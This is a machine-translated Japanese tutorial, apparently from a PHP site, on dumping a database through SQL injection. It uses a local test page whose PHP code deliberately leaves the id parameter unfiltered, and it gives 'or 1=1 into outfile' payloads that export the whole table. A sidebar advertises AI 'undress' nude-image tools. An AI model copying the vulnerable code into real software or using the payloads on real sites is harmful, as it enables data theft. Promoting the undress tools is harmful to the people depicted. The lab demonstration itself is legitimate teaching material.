SQL インジェクションの脆弱性を使用してライブラリをドラッグする例を共有する
SQL インジェクションの脆弱性を利用してバックエンドにログインすることや、SQL インジェクションの脆弱性を利用してライブラリをドラッグすることは、関連する内容を学んだ後の概要に過ぎず、深みはありません。
前の記事と同様に、テスト目的でデータテーブルを作成し、テーブルにいくつかのデータを入力および終了する必要があります。
データベースにテーブルを作成します:
コードは次のとおりです:
CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`articleid`) ) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
テーブルにデータを挿入するためのコードは投稿しません。ダウンロードしてデータベースに直接インポートできます。
次に、ユーザーのリクエストを処理するページを作成します。ここでは、ユーザーが送信したデータを意図的にフィルターせず、テスト用に SQL インジェクションの脆弱性を残します。
コードは次のとおりです:
コードは次のとおりです:
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "test"; $id=$_GET['id'];//id未经过滤 $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); mysql_select_db($dbname,$conn); mysql_query('set names utf8'); $sql = "SELECT * FROM article WHERE articleid='$id'"; $result = mysql_query($sql,$conn); $row = mysql_fetch_array($result); echo "<p>利用SQL注入漏洞拖库<p>"; if (!$row){ echo "该记录不存在"; exit; } echo "标题<br>".$row['title']."<p>"; echo "内容<br>".$row['content']."<p>"; ?>
ブラウザに直接入力します:
127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
記事にアクセスできますID 1 のテーブル レコードのアクセス結果は次のとおりです:
アドレスバーに入力: ' into outfile 'e:/sql.txt'%23
分析: %23 は # の ASCII コードです。アドレスバーに # を直接入力すると、データベース システムでは # が空になります。必須です。アドレスバーに %23 と入力すると # になり、次の SQL ステートメントをコメントアウトします。
実行後、Eドライブを開き、追加のsql.txtファイルを見つけます。それを開くと、テーブル記事にレコードがあります。 レコードが 1 つしかないのはなぜですか?このデータテーブルにはレコードが 1 つだけありますか?これは当てはまりません。ID 1 のレコードを 1 つだけ取得するので、記事テーブル内のすべてのレコードを一度にダウンロードできますか? 構築された SQL ステートメントが十分に柔軟である限り、答えは「はい」です (ここでも、構築された SQL ステートメントの柔軟性が取り上げられます)。
分析すると、URL アドレス バーに「into outfile 'e:/sql.txt'%23」と入力すると、SQL クエリ ステートメントにマージされ、次のようになります:
SELECT * FROMarticle WHERE Articleid='5' into outfile ' e:/whf.txt'#'
慎重に分析した後、次のような SQL ステートメントを構築できます:
SELECT * FROMarticle WHERE Articleid='' or 1=1 into outfile 'e:/whf.txt'#'
この場合、
WHERE 句
は、何があっても常に true です。つまり、SQL ステートメントは次と同等です:
SELECT * FROM Article into outfile 'e:/whf.txt'#' 理解してください。 SQL ステートメントは、まず select ステートメントを実行してテーブル アーティクル内のすべてのコンテンツを取得し、次に出力ファイル 'e:/whf.txt'#' を実行してコンテンツをエクスポートします。 信じられないなら実行してみてもいいでしょう...
SQLインジェクションの脆弱性を利用して、テーブル名、カラム名、ユーザーパスワードの長さ(LEFT関数)などを推測することができます。もちろん、直接変更できれば可能ですが、上記のデモのようにテーブル内の値をすべてエクスポートすれば、テーブル名や列名などを推測する必要はありません。
ちょっと疲れたのでここに書きます。
SQL インジェクションの脆弱性を利用してバックエンドにログインする方法と、SQL インジェクションの脆弱性を利用してライブラリをドラッグする方法は、関連する内容を学んだ後の単なる要約です。記事の冒頭で述べたように、これは単なる要約であり、深みはありません。他の意味はありません。
【関連推奨事項】
1.
: 「php Programmer Toolbox」V0.1 バージョンのダウンロード2. SQL インジェクションを防ぐには? SQLインジェクションを防ぐ5つの方法を紹介します
3. 有名なSQLインジェクション脆弱性スキャンツール5つを共有します
以上がSQL インジェクションの脆弱性を使用してライブラリをドラッグする例を共有するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック

HQL と SQL は Hibernate フレームワークで比較されます。HQL (1. オブジェクト指向構文、2. データベースに依存しないクエリ、3. タイプ セーフティ)、SQL はデータベースを直接操作します (1. データベースに依存しない標準、2. 複雑な実行可能ファイル)。クエリとデータ操作)。

「OracleSQLでの除算演算の使用方法」 OracleSQLでは、除算演算は一般的な数学演算の1つです。データのクエリと処理中に、除算演算はフィールド間の比率を計算したり、特定の値間の論理関係を導出したりするのに役立ちます。この記事では、OracleSQL での除算演算の使用法を紹介し、具体的なコード例を示します。 1. OracleSQL における除算演算の 2 つの方法 OracleSQL では、除算演算を 2 つの異なる方法で実行できます。

Oracle と DB2 は一般的に使用される 2 つのリレーショナル データベース管理システムであり、それぞれに独自の SQL 構文と特性があります。この記事では、Oracle と DB2 の SQL 構文を比較し、相違点を示し、具体的なコード例を示します。データベース接続 Oracle では、次のステートメントを使用してデータベースに接続します: CONNECTusername/password@database DB2 では、データベースに接続するステートメントは次のとおりです: CONNECTTOdataba

MyBatis 動的 SQL タグの解釈: Set タグの使用法の詳細な説明 MyBatis は、豊富な動的 SQL タグを提供し、データベース操作ステートメントを柔軟に構築できる優れた永続層フレームワークです。このうち、Set タグは、UPDATE ステートメントで SET 句を生成するために使用され、更新操作でよく使用されます。この記事では、MyBatis での Set タグの使用法を詳細に説明し、特定のコード例を通じてその機能を示します。 SetタグとはMyBatiで使用するSetタグです。

SQL における Identity とは何ですか? 具体的なコード例が必要です。SQL では、Identity は自動インクリメント数値の生成に使用される特別なデータ型です。多くの場合、テーブル内のデータの各行を一意に識別するために使用されます。 Identity 列は、各レコードが一意の識別子を持つようにするために、主キー列と組み合わせてよく使用されます。この記事では、Identity の使用方法といくつかの実用的なコード例について詳しく説明します。 Identity の基本的な使用方法は、テーブルを作成するときに Identity を使用することです。

解決策: 1. ログインしているユーザーがデータベースにアクセスまたは操作するための十分な権限を持っているかどうかを確認し、ユーザーが正しい権限を持っているかどうかを確認します; 2. SQL Server サービスのアカウントに指定されたファイルまたはデータベースにアクセスする権限があるかどうかを確認します。 3. 指定されたデータベース ファイルが他のプロセスによって開かれているかロックされているかどうかを確認し、ファイルを閉じるか解放して、クエリを再実行します。管理者として試してください。Management Studio をなどとして実行します。

MySQL でデータの集計と統計に SQL ステートメントを使用するにはどうすればよいですか?データの集計と統計は、データ分析と統計を実行する際の非常に重要な手順です。 MySQL は強力なリレーショナル データベース管理システムとして、データの集約と統計操作を簡単に実行できる豊富な集約機能と統計機能を提供します。この記事では、SQL ステートメントを使用して MySQL でデータの集計と統計を実行する方法を紹介し、具体的なコード例を示します。 1. カウントには COUNT 関数を使用します。COUNT 関数は最も一般的に使用されます。

データベース技術コンテスト: Oracle と SQL の違いは何ですか?データベース分野では、Oracle と SQL Server の 2 つは非常に評判の高いリレーショナル データベース管理システムです。どちらもリレーショナル データベースのカテゴリに属しますが、両者の間には多くの違いがあります。この記事では、Oracle と SQL Server の違い、実際のアプリケーションにおけるそれらの機能と利点について詳しく説明します。まず、Oracle と SQL Server の間には構文に違いがあります。
